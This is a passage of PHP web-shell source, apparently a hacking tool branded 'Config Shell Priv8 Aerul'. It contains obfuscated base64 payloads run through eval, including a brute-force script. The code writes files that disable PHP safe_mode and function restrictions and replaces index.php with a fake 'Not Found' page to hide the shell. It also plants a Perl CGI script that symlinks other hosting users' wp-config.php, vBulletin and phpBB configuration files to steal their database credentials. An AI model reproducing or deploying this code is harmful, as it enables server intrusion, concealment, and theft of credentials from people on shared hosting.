RjMwRTYyQkJENzNENkRGNUI1MEJCN0I1ID0gKG9yZCgkVEYxODYyMTc3NTNDMzdCOUI5Rjk1OEQ5MDYyMDg1MDZFWyRUM0EzRUEwMENGQzM1MzMyQ0VERjZFNUU5QTMyRTk0REErK10pIDw8IDgpOyAgICAgICRURjYyM0U3NUFGMzBFNjJCQkQ3M0Q2REY1QjUwQkI3QjUgKz0gb3JkKCRURjE4NjIxNzc1M0MzN0I5QjlGOTU4RDkwNjIwODUwNkVbJFQzQTNFQTAwQ0ZDMzUzMzJDRURGNkU1RTlBMzJFOTREQSsrXSk7ICAgICAgJFRERkNGMjhEMDczNDU2OUE2QTY5M0JDODE5NERFNjJCRiA9IDE2OyAgICAgfSAgICAgaWYgKCRURjYyM0U3NUFGMzBFNjJCQkQ3M0Q2REY1QjUwQkI3QjUgJiAweDgwMDApICAgICB7ICAgICAgJFQ3RkM1NjI3MEU3QTcwRkE4MUE1OTM1QjcyRUFDQkUyOSA9IChvcmQoJFRGMTg2MjE3NzUzQzM3QjlCOUY5NThEOTA2MjA4NTA2RVskVDNBM0VBMDBDRkMzNTMzMkNFREY2RTVFOUEzMkU5NERBKytdKSA8PCA0KTsgICAgICAkVDdGQzU2MjcwRTdBNzBGQTgxQTU5MzVCNzJFQUNCRTI5ICs9IChvcmQoJFRGMTg2MjE3NzUzQzM3QjlCOUY5NThEOTA2MjA4NTA2RVskVDNBM0VBMDBDRkMzNTMzMkNFREY2RTVFOUEzMkU5NERBXSkgPj4gNCk7ICAgICAgaWYgKCRUN0ZDNTYyNzBFN0E3MEZBODFBNTkzNUI3MkVBQ0JFMjkpICAgICAgeyAgICAgICAkVDlENUVENjc4RkU1N0JDQ0E2MTAxNDA5NTdBRkFCNTcxID0gKG9yZCgkVEYxODYyMTc3NTNDMzdCOUI5Rjk1OEQ5MDYyMDg1MDZFWyRUM0EzRUEwMENGQzM1MzMyQ0VERjZFNUU5QTMyRTk0REErK10pICYgMHgwRikgKyAzOyAgICAgICBmb3IgKCRUMEQ2MUY4MzcwQ0FEMUQ0MTJGODBCODREMTQzRTEyNTcgPSAwOyAkVDBENjFGODM3MENBRDFENDEyRjgwQjg0RDE0M0UxMjU3IDwgJFQ5RDVFRDY3OEZFNTdCQ0NBNjEwMTQwOTU3QUZBQjU3MTsgJFQwRDYxRjgzNzBDQUQxRDQxMkY4MEI4NEQxNDNFMTI1NysrKSAgICAgICAgJFRDMUQ5RjUwRjg2ODI1QTFBMjMwMkVDMjQ0OUMxNzE5NlskVDgwMDYxODk0MzAyNTMxNUY4NjlFNEUxRjA5NDcxMDEyKyRUMEQ2MUY4MzcwQ0FEMUQ0MTJGODBCODREMTQzRTEyNTddID0gJFRDMUQ5RjUwRjg2ODI1QTFBMjMwMkVDMjQ0OUMxNzE5NlskVDgwMDYxODk0MzAyNTMxNUY4NjlFNEUxRjA5NDcxMDEyLSRUN0ZDNTYyNzBFN0E3MEZBODFBNTkzNUI3MkVBQ0JFMjkrJFQwRDYxRjgzNzBDQUQxRDQxMkY4MEI4NEQxNDNFMTI1N107ICAgICAgICRUODAwNjE4OTQzMDI1MzE1Rjg2OUU0RTFGMDk0NzEwMTIgKz0gJFQ5RDVFRDY3OEZFNTdCQ0NBNjEwMTQwOTU3QUZBQjU3MTsgICAgICB9ICAgICAgZWxzZSAgICAgIHsgICAgICAgJFQ5RDVFRDY3OEZFNTdCQ0NBNjEwMTQwOTU3QUZBQjU3MSA9IChvcmQoJFRGMTg2MjE3NzUzQzM3QjlCOUY5NThEOTA2MjA4NTA2RVskVDNBM0VBMDBDRkMzNTMzMkNFREY2RTVFOUEzMkU5NERBKytdKSA8PCA4KTsgICAgICAgJFQ5RDVFRDY3OEZFNTdCQ0NBNjEwMTQwOTU3QUZBQjU3MSArPSBvcmQoJFRGMTg2MjE3NzUzQzM3QjlCOUY5NThEOTA2MjA4NTA2RVskVDNBM0VBMDBDRkMzNTMzMkNFREY2RTVFOUEzMkU5NERBKytdKSArIDE2OyAgICAgICBmb3IgKCRUMEQ2MUY4MzcwQ0FEMUQ0MTJGODBCODREMTQzRTEyNTcgPSAwOyAkVDBENjFGODM3MENBRDFENDEyRjgwQjg0RDE0M0UxMjU3IDwgJFQ5RDVFRDY3OEZFNTdCQ0NBNjEwMTQwOTU3QUZBQjU3MTsgJFRDMUQ5RjUwRjg2ODI1QTFBMjMwMkVDMjQ0OUMxNzE5NlskVDgwMDYxODk0MzAyNTMxNUY4NjlFNEUxRjA5NDcxMDEyKyRUMEQ2MUY4MzcwQ0FEMUQ0MTJGODBCODREMTQzRTEyNTcrK10gPSAkVEYxODYyMTc3NTNDMzdCOUI5Rjk1OEQ5MDYyMDg1MDZFWyRUM0EzRUEwMENGQzM1MzMyQ0VERjZFNUU5QTMyRTk0REFdKTsgICAgICAgJFQzQTNFQTAwQ0ZDMzUzMzJDRURGNkU1RTlBMzJFOTREQSsrOyAkVDgwMDYxODk0MzAyNTMxNUY4NjlFNEUxRjA5NDcxMDEyICs9ICRUOUQ1RUQ2NzhGRTU3QkNDQTYxMDE0MDk1N0FGQUI1NzE7ICAgICAgfSAgICAgfSAgICAgZWxzZSAkVEMxRDlGNTBGODY4MjVBMUEyMzAyRUMyNDQ5QzE3MTk2WyRUODAwNjE4OTQzMDI1MzE1Rjg2OUU0RTFGMDk0NzEwMTIrK10gPSAkVEYxODYyMTc3NTNDMzdCOUI5Rjk1OEQ5MDYyMDg1MDZFWyRUM0EzRUEwMENGQzM1MzMyQ0VERjZFNUU5QTMyRTk0REErK107ICAgICAkVEY2MjNFNzVBRjMwRTYyQkJENzNENkRGNUI1MEJCN0I1IDw8PSAxOyAgICAgJFRERkNGMjhEMDczNDU2OUE2QTY5M0JDODE5NERFNjJCRi0tOyAgICAgaWYgKCRUM0EzRUEwMENGQzM1MzMyQ0VERjZFNUU5QTMyRTk0REEgPT0gJFRERDc1MzY3OTRCNjNCRjkwRUNDRkQzN0Y5QjE0N0Q3RikgICAgIHsgICAgICAkVEZGNDQ1NzBBQ0E4MjQxOTE0ODcwQUZCQzMxMENEQjg1ID0gaW1wbG9kZSgiIiwgJFRDMUQ5RjUwRjg2ODI1QTFBMjMwMkVDMjQ0OUMxNzE5Nik7ICAgICAgJFRGRjQ0NTcwQUNBODI0MTkxNDg3MEFGQkMzMTBDREI4NSA9ICI/Ii4iPiIuJFRGRjQ0NTcwQUNBODI0MTkxNDg3MEFGQkMzMTBDREI4NS4iPCIuIj8iOyAgICAgIHJldHVybiAkVEZGNDQ1NzBBQ0E4MjQxOTE0ODcwQUZCQzMxMENEQjg1OyAgICAgfSAgICB9ICAgfSAgfSAgZXZhbChUN0ZDNTYyNzBFN0E3MEZBODFBNTkzNUI3MkVBQ0JFMjkoIlFBQUFQRDl3YUhBTkNpUnNiMmRwYmowZ0lnQUFkM1JtSWpzTkNtbG1JQ2doYVhOelpRQUFkQ2drWDFORlVsWkZVbHNuVUVoUVh3SURRVlZVU0Y5VkFTQW5YU2tnVDFJZ0FlOEI1REFRSUNFRTRBVnpJaWtnZXcwS0lBQVFhR1ZoWkFBQVpYSW9KMWRYVnkxQmRYUm9aVzUwYVFBQVkyRjBaVG9nUW1GemFXTWdjbVZoYkFCb2JUMGlNSGd3SWljcENIQURNQ0FEUlVoVVZBQUVVQzh4TGpBZ05EQXhJRlZ1WVFQd2IzSUlBR2w2WldRQ3BtVmphRzhnSjJGalkyVnpBQkJ6SUdSbGJtbGxaQ0VoSndSMFpYaHBkSUFFQUxCOUlHVnNjMlVnRFFvTkNrQU40RjkwQUJCcGJXVmZiR2x0YVhRb01BY2hRR2x1YVVBQVh3R1FLQ2RrYVhOd2JHRjVYMlZ5Y204R0FISnpKeXdnQWdJRG9pUjJaWEp6YVc5dUlQaUFEakFKSUJNUkRnQUZRU1JUUmdGUWJtVjNJRk5sWXdBRGIyNWtZV2x5WlY5R2RXNWpjeWdGNFFKa0lBOXBaaFZnVUU5VFZGc25aMlYwRktBRHNRV2lFb0NFWUJqUVltbHVad1IwYzNOZkFPRUQ2U1IxY214em9BQUI4Q1FCa1MwK2MyVmhjbU5vS0NKcGNEb0lDU0l1SkY4RmMybHdKMTB1SWlBQkYzZG9Cb0JKeFN3TU1nMEtCckptYnhiZ0E1QUU4MkZ6SUFDUktRZ1RBY2hqYkdWaGJsdGRCbEFLbGdRU0lEMFBJQzgvY0FFZ1lXZGxYMmxrUFIyUVB5QVBNQzArZDNBb294QUQ4am9BNG1wdmN3RHpGeEFOQ24wTjRTUjBlSFFRQUdJd2VBVWdhVzF3Ykc5a1pTZ2lYRzRpQkFJc0lHRnljaFpBZFc1cGNYVmxLQ1FIZ2lueGlCS29BOElLOGdCU0pHSm1CQ0FWOFhkd1h3WmdYMTlpUW54bUVicHphWFJsRWNGbGVBWllFVlVCMGhiZ0NXSWtjRDhQZDJRQ3J4UDBBY0VDbFFlU0d5aHpkR0Z5Rk1BU293SFNKNElBQ0NJOGRHbDBiR1UrUW5KMWRCdnhMaTQ4WVFBdkFTTVA4VHh6ZEhrQjBHSnZaSGtKQ1FsN0FBQWdZbUZqYTJkeWIzVnVaQzFqYjJ4dkFURnlPaU13TURBN0FXaHdid3JnSmpBNklHTXlVQmdJWlhJN01MRUNDR0YwZEdGamFHMEJ3RG9nWmdnQWFYaGxaQVBaY21Wd1pXRjBPaUJ1YnkyTUNBQ3pPeUI5Q3FBSG9FRTZiR2x1YXdBQUFpQjdRMDhFQUV4UFVqb2dDSEJHUmpFMU95QlVSVmhVQUJFdFJFVkRUMUpCVkVsUFRnVEJibVVnR1BDVUFBUlNhRzh3SUNBTWtIUmxlSFF0YzJoaFpHOENBSGM2SURCd2RBQkRMakJsYlNCamVXRnV5Qmt6VUFGT095QVBJeUFqWm1abFlROWdCczl1YndiSUEzdGhZM1JwZG1VRzBRT0VVZzdRQTA4RFNBbFJZUzNRQTBFQUFFSlBVa1JGVWkxU1NVZElWRG9nSUNNZ0FUTmxBQ0VnTVhCNElITnZiR2xrT3lBQ0pCemdWRTlRQWdBQ0x3SW5RMFVDRVFRdkJDVkNUMVJVVDJRQVRSUkFCaUV6WlFaS1FVTkxSMUpQVlU1RUxaQlFGcFV4WWdBaE95Qm1iMjRhb0VZY01YTjVjeUFkbFdKdmJBY2dEcVFZNEdZQUVCdmdEUW9YZ0NvQVFIc0RFaVlBTFhOUGtEb3hER0FFRXkxbVlXMXBiSGs2VkFBQVlXaHZiV0VzVm1WeVpHRnVZU3hCY2h3TWFXRnNGd1VFMXlDemFXNXdkWFI3SlhzTDBEQkd5N0VBSVNiemIzSmE0RG9NbHlIeENRQm1BZUlLVHdwb01rUHd3STBGSVFIRk5UVkdSakpCTndCOVBDOHdJMUxKY3p6QWdYWlFBRzFwWTNKdmRGaUFLRCtZU2VZNHNTQko0UUNRS2Y4d0QrRWRrRXRoTWZBK29BR1JBS0U0NkNSd0JYQkZjaWhqYkc0b0J5Z2tBZklzUUVWaFpHMXBiaWRkTEFHeUJURUhTQUNKSXlCb00zSXpJR0k4SUdVZ1psdFJJQ0U3MFprd0V3QU5DajVTVU84aUwxRHNZbVpRNFVtQkpIQmJNQ2hEWFN3QVlERUFZakpkS1RwTUFDMCthakJkUUdBZzRXd0IvaEtBV2NWc2RYTm9FUEJtQUlRSVpuMDRJQUpFUUhWQUZHNDh3U2dpWTI5dmEybGxMbFlRSWd6VEpHWEJ3QkFnRlo4S1gyVnVaQVZRQk5jQXBpTWdUbTl5YlNhNFlXd1BaQzR1QWFZUWNYUklnQ0FGQzMwUkNJQWdJR3dnTEdsemdqQjFjMlZqTENBa0FHQXBCN0JYMWlBaWNBQXNIZGdKMHlId2NtVjBkWEp1SUNnb1pteHZDUDloZENra0ErRWdLeUFBOVFSaEVMSkxRUVpRQ01FSWRneERBZ0Y3SUdkc2IySUxBQ1J6TENSbE95QWtJL0dnQUFlZ0tGVXlLQ1JsTFNSektTQStJRFl3S1JZQklEOGdBV292QVVCeG9FMXBiblYwWlNJNkF4bkJBQUZ3ZTJNaU95QmthV29nUEdoeVBqeHBQa2FBRUlGQWMyaGxaQ0F1TGlCcGJnYlVJU0E4WVFBQUlHaHlaV1k5SjJwaGRtRnpZM0pwY0FBZ2REcG9hWE4wYjNKNUxscWhLREVwSno1QXdFSmVrQ0FoUEM5aFBoblFWQUVOQ2lNZ1hHNEdDaUFzSUZ4eURab3BFblpoYkhWbExtQWdFalJ6RUdCMGNsOWNJR3hoWTJVb0xUTnpZaUpjY2lJcEJ3SXNJaUlzSkFNVFFoSVNwR05zWVhOeklBeURZZUd3aCtZNWdBSUVjSFZpYkphZ0ZSWjNlNkF5TW5zZ2NISUFBR1ZuWDIxaGRHTm9YMkZzYkNnaUl5Z0xBUzRxUHlrdUJTTUc4QUtSTENSeVpYTXBPd28xUlI5QUNra2lQeUlKY1VBQ01Wc3hYVEFBQXBBck53Zk5mQ0J3QVNnNkF3ZmZCOU12YVc1a1pYZ3VjR2h3SXdmLzhmZ2tVUWY3QXVZSWZpNGlMeDFnQ0xjQXB4TVRoUWNTdHlNZ1Y2SVBVQ0JRRHZCeklFSkJVa1p2Y21ObEczRkJNZ3o5QkVCM3JXSTlnQkpUTFZCeVA5QVkwQjBBQXpZa2ZZQjBLcEFjMHllM1lCR2dKejArTUJGeUxDZEk0QURSY0FNd0xDZDNjQzBZRG5OMVlxbHdBVEFuVEc5bkswbHVyb0ljWklrQVpaQUJHdUJwS0FReGIzVjBKeXhFZWtOVlVrd1U4eklJTGlJRDhBWEFhVzRUb1NJc01Dd3hDTEJ2YzNRd1FDa3BVcGdtUkNJOFlqNGpJeEJzWlhOaGFTQWtlVG9nQ09JNkpBaHhJQzArTG1la3dBMmhCY3NuUGh3Q2dGUXVBVHd2WWo0OFFsSStYaWg5dHNGN0lxVWlJd2Z3SUVaaGFXdzBnQVplQkZNRDBqSkRGZ0lhUnlNZ1NtOFB2Mjl0YkdFWWY3eUFHSDFXQlFyaExBemlEOUFWVUJpS3RFQVljSm5nQjRJdUltRlNPNkJ5WVR2UUp6Y01xREcvV3pBdE9XRUFIUzFtWFhzek1uMHBJeUlnR0JZRm9CYndNYmJBQWVFc0pIUnZhMlZ1VDRRZ1FSLzhJa0Z1WVcxbEhrQ21CQXFESnhkaGQyUUJBUUNoTENkc1lXNW5BT0FuWlFCaGJpMUhRaWNzSjI5d1dORUJJV052YlY4ZU1vY2pBV0IwWVhOckFVRUJCQWR6V3pBNEFUMCtNUWdJSTMvZS95TjFDMk13RXFBaWYxcmlJbk5FbWFFYi9sQ213RUVoUHlFL0lUOEZUdkgyR2JJbEF5RTlJWWxrZW1NTHNCWEJJekpOZGcySkpISWpWS0JoSktwa0xBRFZkM0xDc0N3azB2RnpNVmdrQlBFOUFGRmZzZEJmWUhSeTlBRUNjMlYwRi9ES1VBY1FMRGJSVDFCVVh3QUJVa1ZVVlZKT1ZGSkJUbE5HUlZJc0Z0VHorQU1QQXdVNlFDbEFjbXdaVXdUUWU5SUpzbXF4QTU4RGxVTlBUd0NBUzBsRlJrbE1SU3g0c0dOM1pDZ3BMaWRoK0M4Tm8zL0JKeWs2SWlzVEJWWU9NZ1Z2Qy9rRlkwcEJVdkFBQlY4Rld3bWZDWlZWVTBWU1FVZEZUbFFzSjAwQWtHOTZhV3hzWVM4MSttQW9WMWpRYjNkeklBSUFUbFFnTlM0eFl3QjJPakl1TUM0eEtTQUFJa2RsWTJ0dkx6SXdNVEFBTURFZ1JtcGdaZ280YjNndk5BSGhJQnVUSUQwcFR2UUhud2VWUms5TUE0OU1UMWRNVDBQS0loZTFMakJwYzE5V0F4M2tIZk1Fbi9nZkJKVWdRUVAxQW04Q2FVWkpSVXhFVXlObGlsTW53UU52QTJVQVVGUkpUVVZQVlZRc05SOFRJQUxoSkdWNFpYNGZZeVpEQUtFYkFCa3dBZ01Fa21Oc2IzUHcwUUZtV3FRRGdnZFhqTzBFd2lNZ1l1YmhiRk1zTEFYeEFZSUJFM09tb0FId2V3RnlrT1lCZ2lBZ1V2MXpaV0Z5dFJIK0VDbWlYMjM1NEZMQUx4bHdMeUFrQVVCU1lENGdBa01naTJBK0lRSWlQVEVnUFNnQ1BpRDdFaUFLa0NBb2FIUjBjRG92TDFkaExnU2pkR3hrTHlsa29ISnNBc013QXNGdWIzUURCQUxMQUFGa2JDOXdZV2RsUFdkdmIyZHNaU2tLeWFuRENCUnprSGdpcFZBaUs0RFFDY0FUUXlBZ0pHNEVFY1R4WGI0MTlIQXdFaklCWlF3QU1RRVZqV0JNNy9BQ2tTSVRCQlFITTNkUlhHaHAwQ2dFd3lBOFBRVmxLUk9FZXdDRXJCQUFNQ1JqWS9ob0JhQWE4bWx1YVVLRkFBQVFJQWFUQS9BQU1BUENSVVpvTENDQkNpTTFWVkpNTENBbkZQUjNkM2N1SGlFdVh3QXZnZ0FZY3o5eFBTY3VFYUV1SnlabWFYSnpkRDMvRXdEd0VDSU05QVhRQURFR0h3V2dTMEZJUlVIeFFDd2dTdFFDd2Y0QUFFRUREd01FVGt3RGp4NXdESjlVWDBOUFRrNUZRMVNYL3pBMUlEVUtEMThEajFWQlZMQlUwQkJmRUZGQmhBc2hBRUVMYnd0a3NHUkpoeUJKbjBtUU95QlZPeUJLWFhhQVZWTkt3akV1VUFzNVNRQTRTdWN3T1RBek1qWXdPVXNHTXdJQkNPWEFEUjJwcitGMWJIUmJKMFZZUlNkZEluVSt0R2dRVzVEOEFzZFNVZ0xJY25KdmNrR0FBdFVGNlE4U1FqVUNIeUFnQjNocFppQW9JUVdMTlZRVEFTRGJ0Z0RqQUdTT0hDY29QQkFBWkdsMk92QmhjM005SW5OaVgzUnNjM1FCZ0NJK0xpbzhhRE1BWWMrMElpZ3VLaWtpTGpxQktqNEFnYUJSQWhBdkFpTXZCQUErS1hOcFZTZmhrT0h3dERBUkZ3RUFabWx1Wk92UkVNc0l0RGFLQVVWbWIzSWdGQU1vSkdrVTBERGU4R2tnUENCamIzVnU1N0FFdGFlMHh2QXBBYUVyS3c3YUJBVVVLUUZGSkU2aEJTQW9UVllnUFdwS1BTM2c0ekFrUXJWYkhBRWtkTjJBTFQ1TzBsOU8wQ2hCL0NRSGFGc2thVjBwczRFRE93SXNTRE1JYjBwNFI2UXJJSHhNTVV3bENwVUFneDJCR25jb0p5Zy8xQ0F1U3JRQWtDY21IZ3RoYlhBWGJ5aHdGMkFYSVhOMWFYWXBEbkV3VFlVQUFBWWdBLzlpY21WaGF6c0hrd0JoQzZtWUF3Rmd2ZkVCbVFFd0FESUQwLy9zQWFVQzlnSEJBVlVBd1hxd0hGUVR0UW1rYXdRQ1FTQWc2dmxpSXlBaGYwNXZHUkJ1WnlCR0lEQms5WUFGV1FESnlBTUJJZ0JTQlJOS0FpQWt3R1ZoWEFBb0htWWdZWE1nSkd0cmFtRWtNSTkyZG0vUUFhRkViVzV6SC9OMmRqdW9SQVFrQk9sNTFJSC9aUkpmZFc1cGNYVjd3QTBRQS9FdUN3TnBFVm9BMmdZMEQ0clFGbnROS0toNEN1RjZQWEJoY25ObEtjTjRNSUFKVkNRQkhYcGJKM05qYUdYR01GMHVJbm5nM0ZBQk1HaStRSFlFSndFUThUQU5ud29JRlFsaUl5Qm9kRzFzQzZGbFl3UUVhRzhnSnp3QThUNDhhR1ZoWkQ0QllUeHRFQUpsZEdFNHdHNTBaVzUwUFNKbWNpSURFSFFJU25BdFpYRW1rRDBpUTI4QmtpMU16SUIxZmxBaWdJUURYejBpZEdWNGRDOEZnVHNnWTJnTWdYUTlZTUYzUWhCYVFDMHhNalV5QlM4R3NDMVVlWEJsQk9RQWduUnBkR3hsUGlOKyt2Z21ZVzF3TytOZlpRQUFJRlJ2YjJ3Z2RpY3VKSFpsY25OcGJ3REViaTRuSUNCZFBDOEVNdzBTYzNSNUJPQUpDUVFDQ1dKdlpIa0FjSHNnWW1GamEyZHlKc0V0QVdSamIyeHZjam9qaG1BN0FXajlVR2wwQk5BNklFeFFZd213WlhJemdnSUlZWFIwSndCdEFjQTZJR1pwRUFGNFpXUUQyWEpsY0dWaGREb2dibTh0QUxQbUFSa3dIOUFIb0VFNk95RUFBQUlnZTBOUFRFOVNPaUFJY0FBQVJrWXhOVHNnVkVWWVZDMUVSVU5QVXN5RXNMSUV3VzVsS3lFRVVtaHZEc0FnQ1FsN0ZvRXRjd0FnYUdGa2IzYzZJREJ3ZEFCRExqQmxiU0FId0dONVlXNHNBUU1CZ1FGR0dTQVBJaUFqWm1abFlYd01NRmZBQnMvaE1TTEFCc0poWTNScGRtVUcwUktqSUZMYkVBN1FDZzl1QTBjSlVXRkcwQU5CUWs5U2laQXRVa2xIQUlCSVZEb2dJQ016WlFBaElERndlQ0J6YndSemJHbGtPeUFDSkZSUFVBSUFBaThDSjBORkFoRUVMNEdRQkNWQ1QxUlVUMDBVUUFZaE0yVUdTa0ZEUzBjQ1ZWSlBWVTVFTFJhVk1XSUFJVHREb0c0YW9FWWNNUUhaYzNseklHSnZiQWNnRHFRWTRHWUFFQnZnRFFvUXdGQVlLZ0JBZXdNU0xYTnBlbVU2TVF4Z0JCTXRabUVBQUcxcGJIazZWR0ZvYjIxaExGWmxjbVFBY0dGdVlTeEJjbWxoYkJjRkJOY2dzMmx1Y0hVNWdYUjdPYUVsZHd2UU1FWUFJU2J6YjNKa1pYSTZESmZZNENIeENRQm1BZUlLVHdwb01sWndCU0VCeFRVMVJrWXlac05CYXBBYzBEd3ZNSE14SWk4KzV6RkJQanhpY2dCQ0FkS1FJRlRRYlNBZmNXOXVQU0lpSUVEd2FHOWtQU0lJREZCUFUxUTU4VHh3SUdGc2FXY0J3REd6SWo0Z0pEeG1RVUFnWm1GalpUMGlEOFFpSUJJeFBTSWdBeklpUEdFOGMyVnNaV04wSUc1aGJRSXd2bkN6NFFIMU1RQ1FPZEU5SWdzekVsVVJOem9JT2pBaUlENG5EUEFoeGcwS0ZFQU5DaVJmQkxCKzRGcVNLQ2M4L01BN01DQU1CWFpoYkhVR2NFY0FaWGd1Y0dod1B3R0RQYWF3QUNJaVBrcHZiMjFzWVR3dkFVTStKeXdEZlM5SlhEL0hvVjlwRHlBK1Z4Z2dVSTZnY3dNSFlBTlRvaWdrVEVCZkVVRmJKd2hnbnBFOUlDY0hUMjl0SnlrL0lJUm1DcUpiTUYwdUFKTXhYVG9BbFFFa01GME5kd1hTSjhCTUd3QVRVajRnUW5KMWRHVnhvSEpqVHQ5TzBUd3ZoQUFZQVQ0OEwzQllzMmh5SUhkcFpIUm9QU0lmOWpRNEpSc2hFdkFoWVFCQUc4OGZJUUdRQURJY2oyRUQvRDIyY3N4aFhMQWQ0REFpSFVUaVFYTWlJQnhncGRBME1DSStXUUFCZ1hSNGRHSXdlQzRNb0FOMVBpWnVZbk53RHFPT09BY2lJQ0E4QWNVRHh3VTBjSGRrQlNBR2xnM0FZV1J0Q0tWcGJnMEtBSEl4TWpNQXB6UUF1RFUyQU5SQUFqSlB1M0N1OEEwS0FHRUE5Z0NRQXhBQk1YY2VBQUhUQUtFeEFMZ0Y0ZWZRQWlVREF3QmdEUW9BVUFPd0FHRUdjUUNETndGek5UWTNPRUhrT1FDNE1UQU5DakFDSVFGQ0FKQUpjR0pqQUZCallxUEdBTlZrQU9CaVkyUUE4QVZRQXNJRllUTXlNUUF3QTJJMEFlQTFEUXB5YjI5MEFOSUNjQVVqQUpJek16SXlNWWpCQ3lBMk5UUUM0ams0TndDekIzQXhNVEl5TXhId3dhQUNrQUhDTVRBeU1ETUJnUUNDTkFDZ2NFQnpjM2NnSURCeUNCQnhNWGN5WlROeUNCQnhkMlZ5ZEVaL2VRa3djMlJtQUdJQkVBMEtGR0VCMEFCeUNPQUFneFl3QUpTQktBL1FJVUFqSkEwS0FHRWxYZ0NGSmdzZ2NUSjNDakF6WlRSeUFLYzFESUIwWlhNQVpBblFEUXBrWlQ5OGJXOTZzSUxnWXhFc01DeXFJalFnSzI4cXJ5cWdBVk5IaG5WelBtNWxja2NSdkpBeUpDN0tXQUlnZElkQWl2TWlRNFVsOGttQWFWaUJla1JRTmk0VkFXTStJRHdEaVhOMVltMXBkQUkxREF4emRHRnlBTkJIOUV4bGRITWdVd0V4UEJNdUx2UENVcEE2cXc0R0FYQnliUzRRT3BnOFgyZ3dEUW84TDFzREw4QUFsZEZReVQ4KyIpKTsgID8+';
  2390. $file = fopen("brute.php" ,"w+");
  2391. $write = fwrite ($file ,base64_decode($brute));
  2392. fclose($file);
  2393. chmod("brute.php", 0644);
  2394. $indexshell = fopen("index.php" ,"w+");
  2395. $data = 'PGgxPk5vdCBGb3VuZDwvaDE+IA0KPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+';
  2396. $tulis = fwrite( $indexshell, base64_decode($data));
  2397. fclose($indexshell);
  2398. $safemode = fopen("php.ini" ,"w+");
  2399. $data = 'c2FmZV9tb2RlPU9GRgpkaXNhYmxlX2Z1bmN0aW9ucz1OT05F';
  2400. $tulis = fwrite( $safemode, base64_decode($data));
  2401. fclose($safemode);
  2402. echo "<iframe src=brute/brute.php width=97% height=100% frameborder=0></iframe>";
  2403. }
  2404. elseif(isset($_GET['x']) && ($_GET['x'] == 'configsh3ll'))
  2405. {
  2406. ?>
  2407. <form action="?y=<?php echo $pwd; ?>&amp;x=configsh3ll" method="post">
  2408. <?php
  2409. echo "<center/><br/><b><font color=lime>+--==[ Config Shell Priv8 Aerul ]==--+</font></b><br><br>";
  2410. mkdir('terjang', 0755);
  2411. chdir('terjang');
  2412. $kokdosya = ".htaccess";
  2413. $dosya_adi = "$kokdosya";
  2414. $dosya = fopen ($dosya_adi , 'w') or die ("Error gan!");
  2415. $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
  2416. AddType application/x-httpd-cgi .pl
  2417. AddHandler cgi-script .pl
  2418. AddHandler cgi-script .pl";
  2419. fwrite ( $dosya , $metin ) ;
  2420. fclose ($dosya);
  2421. $configshell = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOwpwcmludCc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4KPGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9ImVuLXVzIiAvPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIgLz4KPHRpdGxlPlN5bWxpbms8L3RpdGxlPgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgoubmV3U3R5bGUxIHsKIGZvbnQtZmFtaWx5OiBUYWhvbWE7CiBmb250LXNpemU6IHgtc21hbGw7CiBmb250LXdlaWdodDogYm9sZDsKIGNvbG9yOiAjMDBGRkZGOwogIHRleHQtYWxpZ246IGNlbnRlcjsKfQo8L3N0eWxlPgo8L2hlYWQ+Cic7CnN1YiBsaWx7CiAgICAoJHVzZXIpID0gQF87CiRtc3IgPSBxeHtwd2R9OwokcGRvbWFpbj0kbXNyLiIvIi4kdXNlcjsKJHBkb21haW49fnMvXG4vL2c7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW4xLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluMi50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjMudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW40LnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJHBkb21haW4uJ35+UGhwYmIxLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+UGhwYmIyLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJHBkb21haW4uJ35+V29yZHByZXNzMS50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJHBkb21haW4uJ35+V29y